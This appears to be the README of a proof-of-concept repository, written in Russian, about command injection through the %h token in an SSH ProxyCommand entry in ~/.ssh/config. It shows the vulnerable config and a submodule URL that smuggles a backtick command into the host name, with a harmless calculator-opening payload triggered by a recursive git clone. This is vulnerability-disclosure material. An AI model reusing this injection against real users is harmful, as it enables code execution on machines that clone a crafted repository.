poc-proxycommand-vulnerable

RCE через небезопасный ~/.ssh/config

Использование токенов, таких как %h, %p, в ProxyCommand довольно популярно для организации туннелей и проксирования соединений через SSH.

Уязвимая конфигурация

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Примечание: изначально я полагал, что использование '%h` (одинарные кавычки) позволит избежать этого, но, похоже, это всё равно уязвимо при использовании чего-то вроде:

url = ssh://'`open -aCalculator`'foo.example.com/bar

Взято из: https://man.openbsd.org/ssh_config#ProxyCommand

Что в этом репозитории

Подмодуль, который использует эту уязвимость для открытия калькулятора на OSX.

Попробуйте, используя:

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

или

git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules